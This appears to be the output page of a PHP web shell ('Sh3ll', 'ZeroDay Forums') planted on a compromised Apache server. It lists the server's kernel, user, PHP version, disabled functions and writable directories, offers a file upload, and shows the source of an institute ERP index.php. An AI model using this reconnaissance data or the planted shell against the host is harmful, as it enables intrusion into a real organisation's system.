Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/erp-15-06-18/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/erp-15-06-18/index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  	<title>ERP @ IIITA</title>
	<base href="https://erp.iiita.ac.in/" />
	<meta charset="utf-8">
  	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<meta name="description" content="enterprise resource planning, institute resource planning, iiita resource planning" />
	<meta name="author" content="Dr. M.K. Mishra, System Analyst" />
	
	<link rel='SHORTCUT ICON' href="images/logo.ico" />
	<link rel="stylesheet" type="text/css" href="css/erp_style.css" media="screen" />
	<link rel="stylesheet" type="text/css" href="css/erp_menu.css" media="screen" />
	<link rel="stylesheet" type="text/css" href="css/calendar.css" media="screen" />
	<link rel="stylesheet" type="text/css" href="css/fontawesome-all.css" media="screen" />

  	<script type="text/javascript" src="js/calendar.js"></script>
	<script type="text/javascript" src="js/fontawesome-all.js"></script>
	<script type="text/javascript" src="js/jquery.min.js"></script>
	<script type="text/javascript" src="js/erp_ajax.js"></script>
	<!--<script type="text/javascript" src="js/jquery-1.10.2.js"></script>-->
</head>
<body>
<?php
session_start();
// This is the requirements for ERP Framework
// Initiate the home controller, model, view
require_once(__DIR__.'/models/erp_model.php');
require_once(__DIR__.'/controllers/erp_controller.php');
require_once(__DIR__.'/views/erp_view.php');

$erpModel 		= New erpModel();
$erpController 	= New erpController($erpModel);
$erpView 		= New erpView($erpController, $erpModel);
	
// URI pattern to access ERP applications
// https://baseURL/appID/menuID/action/param1/param2/param3/../paramN
// https://baseURL/controller/view/action/param1/param2/param3/../paramN

$url = isset($_SERVER['PATH_INFO']) ? explode('/', ltrim($_SERVER['PATH_INFO'],'/')) : '/';

$app 	= $url[0]; 	// The first element should be an application controller
$menu 	= $url[1];	// The second element should be a view method
$action = $url[2];	// The third element should be a model action
$tuple 	= $url[3];	// The fourth element should be a tuple 

$erpController->app 	= $app;
$erpController->menu 	= $menu;
$erpController->action 	= $action;
$erpController->tuple 	= $tuple;

if ($app == 'logout') {
	// close session and render home page
	$erpController->erpLogout();
    // render ERP index after logout
}

// render ERP Header
print $erpView->erpBanner();
print $erpView->erpHeader();
	
// examine the URL for rendering requested ERP Application
if ($app == '/') {
    // render ERP index, if no specific application is requested
    print $erpView->erpContent();
		
} else if ($app == 'about') {
	// render ERP document
    print $erpView->erpContent('About');
	
} else {
	$erpController->errorText = "Please login to access the ERP";
	print $erpView->erpError();
}

print $erpView->erpFooter();

?>
</body>
</html>


ZeroDay Forums Mini